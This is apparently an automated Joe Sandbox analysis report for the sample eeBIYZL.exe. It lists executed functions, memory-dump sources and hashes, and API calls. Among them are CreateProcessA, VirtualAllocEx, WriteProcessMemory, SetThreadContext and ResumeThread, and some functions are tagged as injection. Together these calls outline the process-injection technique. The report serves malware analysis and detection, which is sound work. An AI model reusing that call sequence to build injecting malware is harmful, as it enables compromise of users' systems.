Analysis Process: eeBIYZL.exePID: 7512, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	171
Total number of Limit Nodes:	11

Executed Functions

Function 009FD7F8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 009FD876
GetCurrentThread.KERNEL32 ref: 009FD8B3
GetCurrentProcess.KERNEL32 ref: 009FD8F0
GetCurrentThreadId.KERNEL32 ref: 009FD949

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: eacd7f0ea01707dbc08b3b15bf2fa8623ac724c01fbd7d6c33b8efa7d1b9833f
Instruction ID: 9438f1499a059b2e1b60b8d2d7a82cf8d48e5813c00521ed4bbef49aa929fee6
Opcode Fuzzy Hash: eacd7f0ea01707dbc08b3b15bf2fa8623ac724c01fbd7d6c33b8efa7d1b9833f
Instruction Fuzzy Hash: FD5167B0D013098FDB54DFA9D548BAEBBF6FF88314F208459E109A7360D7749984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0502D2A4 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0502D4E6

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 28b93140af4230aa21f3888dbc28fa8622b860c23445dc4c351ba4fb212aff26
Instruction ID: e235f048bdc0aaec4d1ad167a86bf6d62d182e56edfa78fecd5e42a5e16e6d27
Opcode Fuzzy Hash: 28b93140af4230aa21f3888dbc28fa8622b860c23445dc4c351ba4fb212aff26
Instruction Fuzzy Hash: E9A17F71D00629DFDB20DFA8D845BEDBBF2BF48314F14816AD809A7290DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0502D2B0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0502D4E6

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 54a8a4c46cf80edbe67357b307274e08492207895af057c52a7272e637dada3d
Instruction ID: c7d50a1e5d1a8bc928b2301ba33452ad51a35c8043fb17a51fd2474cb5a20b54
Opcode Fuzzy Hash: 54a8a4c46cf80edbe67357b307274e08492207895af057c52a7272e637dada3d
Instruction Fuzzy Hash: 60915D71D00629DFDB20DFA8D845BEDBBF2BF48314F14816AD809A7290DB749986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009FB55F Relevance: 1.7, APIs: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 009FB7C6

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 83d728ae79f2ef8caa57ede6695cfe1aabe8cf0226c93fe244c0025eae31ba4f
Instruction ID: 1c911ede7d46075806eddbd016ab424556c4ea8baa24794c15395c41b6218ef5
Opcode Fuzzy Hash: 83d728ae79f2ef8caa57ede6695cfe1aabe8cf0226c93fe244c0025eae31ba4f
Instruction Fuzzy Hash: 338169B0A00B488FDB24DF29D4447AABBF5FF88310F10892DD18AD7A50D774E94ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 009F590C Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009F59C9

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7857efd9e6024c8065b7e97eef178a29431f84008d3b902d4eb6420c6de1ea55
Instruction ID: 599d059cc0269924bc9bed4c9fc6d78666fcec075b4b6e5a9090c5ec9d72a531
Opcode Fuzzy Hash: 7857efd9e6024c8065b7e97eef178a29431f84008d3b902d4eb6420c6de1ea55
Instruction Fuzzy Hash: 8741FFB0C00619CBDB24CFA9C884BDEBBB5BF88304F21816AD109AB251DB765946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 009F44E4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 009F59C9

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a808cc5d8ca91d4cb21a8a52a871a9dcd6a80eef8748c05f06f4cef287a332f5
Instruction ID: 2a52a759e9757de5acaaca28837bc6aeb7923ff45f02d3c33ed3de9968afb26f
Opcode Fuzzy Hash: a808cc5d8ca91d4cb21a8a52a871a9dcd6a80eef8748c05f06f4cef287a332f5
Instruction Fuzzy Hash: 1F4103B0C0071DCBDB24CFA9C884B9EBBF5BF48304F21806AD619AB255DBB56945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0502D020 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0502D0B8

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ad8812362c661a081ff110f4e482a1ed4feaec54f2f6d9491bc913467f04ecaf
Instruction ID: c4299901f45b8d1b972f9a086c06efb31f2aec870e96970153aee331edfa7829
Opcode Fuzzy Hash: ad8812362c661a081ff110f4e482a1ed4feaec54f2f6d9491bc913467f04ecaf
Instruction Fuzzy Hash: E22146B19003599FCB10CFAAD884BEEBBF1FF48310F50842AE959A7250C7789945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0502D028 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0502D0B8

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 09b4b416758b856caaed5e16470a727d33b2a0d9b70fb8b2c2ed7cf908c8023b
Instruction ID: d7cc536d0db53f28521d2a7b36bd399c1b4755669392d1bb3bce8da9fa17b489
Opcode Fuzzy Hash: 09b4b416758b856caaed5e16470a727d33b2a0d9b70fb8b2c2ed7cf908c8023b
Instruction Fuzzy Hash: F32169B19003199FCB10CFAAC884BEEBBF5FF48310F50842AE919A7250C7789941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0502CE88 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0502CF0E

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 61f45f8d1419e8246e51a33f3bf7505513885eddd1e2453336155e76c9d3f2ab
Instruction ID: fe8fc4508c8db510f37b936ea1aafdd8ec1d3b7b956d7c98b1a619ce6952061b
Opcode Fuzzy Hash: 61f45f8d1419e8246e51a33f3bf7505513885eddd1e2453336155e76c9d3f2ab
Instruction Fuzzy Hash: E02125B19042099FDB60DFAAC485BEEBBF4FF48324F14842AD459A7240C7789945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0502D117 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0502D198

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 512c8b179835c7537c141dd3b0ece84d1b0b0c826473f1a75cb36ea764238321
Instruction ID: 8f89dc918a2cbb3905495ee1231a72ea5f25951ce8f48a12a7c00f215edb8c03
Opcode Fuzzy Hash: 512c8b179835c7537c141dd3b0ece84d1b0b0c826473f1a75cb36ea764238321
Instruction Fuzzy Hash: 782125B1C002599FCB10DFAAD884AEEBBF5FF48310F14842EE559A7250C7789945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0502D118 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0502D198

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: ef5b4a2174d49de34de2960c4fb41ecfa2ab0cff259fb759c802fb92fd7c7f62
Instruction ID: a785371323d5c0d13860b907732d5ed393ac0833cf717935cd0d9517ef38de49
Opcode Fuzzy Hash: ef5b4a2174d49de34de2960c4fb41ecfa2ab0cff259fb759c802fb92fd7c7f62
Instruction Fuzzy Hash: 692138B1C003599FCB10DFAAC884AEEFBF5FF48310F10842AE519A7250C7389945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0502CE90 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0502CF0E

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e69c273cbcca09b6554ed9ad6387625613af0c7da19f99a241a9b314ac49518a
Instruction ID: 7eff472e0943fa3a4acb4c48adbef9cc5ac6885567e398d8a37f7ce3933dcc64
Opcode Fuzzy Hash: e69c273cbcca09b6554ed9ad6387625613af0c7da19f99a241a9b314ac49518a
Instruction Fuzzy Hash: D62135B19043099FDB50DFAAC4857AEBBF4FF48324F14842AD519A7240CB78A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 009FDA40 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 009FDAC7

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d2e1696aa9305bf55fbd53588fa5d338095e7f910c89eb9f3a7d92277d9175bf
Instruction ID: 8a97ac5ca53de61f26a18fa25b3a4d7e30f62c4b4f9264add5d38eb61755df5a
Opcode Fuzzy Hash: d2e1696aa9305bf55fbd53588fa5d338095e7f910c89eb9f3a7d92277d9175bf
Instruction Fuzzy Hash: 7621C4B59013489FDB10CF9AD584AEEBBF9FB48310F14841AE918A3350D379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 009FAFB0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,009FB841,00000800,00000000,00000000), ref: 009FBA52

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 25fc899cc22a7a34408e42daf85c2590dc71edbbdb4bb30d4409fd21ea245146
Instruction ID: a79af771db14590b0d319c3baa448f81ce963b4b2395546542d6a315b3e64096
Opcode Fuzzy Hash: 25fc899cc22a7a34408e42daf85c2590dc71edbbdb4bb30d4409fd21ea245146
Instruction Fuzzy Hash: 111117B58003089FCB20CF9AD444AAEFBF9EB48310F10842AD519A7200C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0502CF60 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0502CFD6

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8682b6947b9871f585efd1ac318f04f527220d9e04615a89ccd78eae31e42886
Instruction ID: 932b1f1d4a13237c45e4a002cadfae85480bc7a41dc0c3f97bf0dc7a42578c94
Opcode Fuzzy Hash: 8682b6947b9871f585efd1ac318f04f527220d9e04615a89ccd78eae31e42886
Instruction Fuzzy Hash: 171129718042499FDB20DFAAD845AEFBFF5FF48310F14841AE519A7250C7759944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 009FB9E1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,009FB841,00000800,00000000,00000000), ref: 009FBA52

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bb16e6465d3e205e953970bcb3ffa11e79ea0d0aea348ac62376d39a0f123674
Instruction ID: fec6928fee0cbcea46418d08ac1a4ba26bd7dbafce82d5f59104995a0b4b1f75
Opcode Fuzzy Hash: bb16e6465d3e205e953970bcb3ffa11e79ea0d0aea348ac62376d39a0f123674
Instruction Fuzzy Hash: 981114B6C003489FDB20CFAAD484AEEFBF5AF48310F14842ED519A7200C379A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0502CF68 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0502CFD6

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d802ecc9c9403e02badebc48b4fea277bb59552938407a5634bfd481689ad4c4
Instruction ID: 6d78b6fdb8029dd77d95a355e552678a67060c2405ee13226938a4167951f74f
Opcode Fuzzy Hash: d802ecc9c9403e02badebc48b4fea277bb59552938407a5634bfd481689ad4c4
Instruction Fuzzy Hash: 0C1149718042499FDB10DFAAD845AEFBFF5FF48320F108419E519A7250C779A940CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0502CDD8 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0502CE42

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 28582eddae5ee12c41801bcb0deab2e45d9aeb948ea7d57b38ac8bb1c73c778a
Instruction ID: fb11bb61c0f526c54912847c0e66194f7369ad1a4ca160f3a95bf5661f7449f6
Opcode Fuzzy Hash: 28582eddae5ee12c41801bcb0deab2e45d9aeb948ea7d57b38ac8bb1c73c778a
Instruction Fuzzy Hash: B01146B1D002488EDB20DFAAD4447EEBBF5BF88324F20841AD519A7240C7799944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0502CDE0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0502CE42

Memory Dump Source

Source File: 0000000A.00000002.2135662465.0000000005020000.00000040.00000800.00020000.00000000.sdmp, Offset: 05020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5020000_eeBIYZL.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 67397314cd9639423acb97dc345b3f8b543b49a94d556c97d6385dc7b4f38a13
Instruction ID: ac90e2fdfa40efb95ac51986c6789a8d69e9d162e021bb02f2813f31f1211642
Opcode Fuzzy Hash: 67397314cd9639423acb97dc345b3f8b543b49a94d556c97d6385dc7b4f38a13
Instruction Fuzzy Hash: B81125B19003488BDB20DFAAD4457AEFBF5FF88324F20841AD519A7240CB79A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 009FB760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 009FB7C6

Memory Dump Source

Source File: 0000000A.00000002.2128097545.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_eeBIYZL.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 04566d4dd82d2b48f6bba2b3741427b13f18c0a97c955956ed8034d7d63d0587
Instruction ID: 850c1db8bf26023c8772c33e2c6b7265f5d42af47a5577796be907a1b29bcd6c
Opcode Fuzzy Hash: 04566d4dd82d2b48f6bba2b3741427b13f18c0a97c955956ed8034d7d63d0587
Instruction Fuzzy Hash: 2E11DFB5C007498FCB20DF9AD444AAEFBF9AF89320F10842AD519A7610D379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 087211F8 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0872125D

Memory Dump Source

Source File: 0000000A.00000002.2136712621.0000000008720000.00000040.00000800.00020000.00000000.sdmp, Offset: 08720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8720000_eeBIYZL.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1b79c224a8252d459c344b9d0a6b25c89e044d818865a0747035a6337a101f45
Instruction ID: e6e5ebb340d9222b056f9ad4d2ea0c738ce17edeefad433ffb61941a82b9dbb0
Opcode Fuzzy Hash: 1b79c224a8252d459c344b9d0a6b25c89e044d818865a0747035a6337a101f45
Instruction Fuzzy Hash: 8011E3B58002599ECB10DF9AD485BDEBBF4FB48320F20851AE569A7250C379A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08721200 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0872125D

Memory Dump Source

Source File: 0000000A.00000002.2136712621.0000000008720000.00000040.00000800.00020000.00000000.sdmp, Offset: 08720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8720000_eeBIYZL.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6a3885970576955f866179eae37e495e9765d436778544995140eef6002e9b73
Instruction ID: cacb8fe2cc15dbb3280e9f1f5756b5255923346c0440f1823438a7fa96b8eb41
Opcode Fuzzy Hash: 6a3885970576955f866179eae37e495e9765d436778544995140eef6002e9b73
Instruction Fuzzy Hash: FA11C2B5800349DFDB10DF9AD585BDEBBF8FB48310F10841AE558A7200D379A584CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0081D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126202748.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03bd7d69ff975eb08278ab36c51e3b88cc2b1d03505d6bfa56551d5c4e7674f6
Instruction ID: 33910af5534064334df92044582ea0c19dc105be7e5def89ec23435e64e2f330
Opcode Fuzzy Hash: 03bd7d69ff975eb08278ab36c51e3b88cc2b1d03505d6bfa56551d5c4e7674f6
Instruction Fuzzy Hash: D4210071500304DFCB058F14D9C0B66BFA9FF88314F20C669E9198B256C33AE896CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0081D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126202748.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa064852e1c0bed6f1bd4af6d0abd53c91a6add9cdde15f57a59e0489b0c32fa
Instruction ID: 81652b32e922e98221dcc66ee224107a80298dcf18517d9cd08fda89a4bb3187
Opcode Fuzzy Hash: aa064852e1c0bed6f1bd4af6d0abd53c91a6add9cdde15f57a59e0489b0c32fa
Instruction Fuzzy Hash: C6210371500344DFCB15DF14D9C0FA6BF6AFF98318F20C569E9098B256C33AD896DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0082D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126369315.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_82d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc473e910d530a7a33aeb75636709a62caa995f535e82e26276dfc00fda89445
Instruction ID: 43c37240f04e6e57a935ea32a25c6d08cb8674c31678e96dc031119080ffc464
Opcode Fuzzy Hash: fc473e910d530a7a33aeb75636709a62caa995f535e82e26276dfc00fda89445
Instruction Fuzzy Hash: A621F571504304EFDB05DF14E5C0B26BFA5FB84314F20C56DD9098B256C33AE886CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0082D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126369315.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_82d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750896bd3c41e49e590e5289dfc40c897d775b5c91813f88d5c08378b360479e
Instruction ID: 30abcd788c9932c1e5cc79f476fac0539ba3662b6b64205c15688cf5262c7a65
Opcode Fuzzy Hash: 750896bd3c41e49e590e5289dfc40c897d775b5c91813f88d5c08378b360479e
Instruction Fuzzy Hash: 3A21F271604744DFCB14DF24E984B26BF65FB88314F20C569D94A8B3A6C33AD887CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0081D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126202748.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d06fae078f3ccc2112caf8552f6b645ede566e603d6c7b0d9faf10800b04cc1c
Instruction ID: 36fac97b5fb31904cfbbff897345abb832c4eb2dc415f164e6ba0625cc017f02
Opcode Fuzzy Hash: d06fae078f3ccc2112caf8552f6b645ede566e603d6c7b0d9faf10800b04cc1c
Instruction Fuzzy Hash: 4621CD76404240CFCB06CF00D9C4B56BF62FF88310F24C6A9DD084B656C33AE86ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0081D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126202748.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 8dc1ce435c2f61966a31dc9f64e3bd0faa854ae5e06481acf88cd0d81c4908ad
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 2611DF72404280CFCB06CF10D5C4B96BF72FB98314F24C6A9D8494B256C336D85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0082D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126369315.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_82d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: b8d386ea37286f8ca44eef2ad48a249ccd98d9364c9f1a8cbd729bcb213b2675
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: BB118E75504780DFDB15CF14E5C4B15BF61FB44314F24C6A9D8498B666C33AD84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0082D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126369315.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_82d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 37858e9299bb3ee5ea3b2c6b8e946a08a5aeebca685a259554d6677c12e1fd08
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 3A118B75504380DFDB16CF14D5C4B15BFA2FB84314F24C6A9D8498B696C33AE84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0081D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2126202748.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81d000_eeBIYZL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a967b621a6c9d57be5c2ec829f762796ac4973c6b0af45bbd74bf36815abbf6
Instruction ID: ca68105839c6a8b7895fc3537d9f002d8e86e6c6660af6f6315f9663a70b1189
Opcode Fuzzy Hash: 1a967b621a6c9d57be5c2ec829f762796ac4973c6b0af45bbd74bf36815abbf6
Instruction Fuzzy Hash: CB01DB710053449AE7209E15CD84BA7FFDCFF45324F18CD2AED098A2C6D2799881CAB1

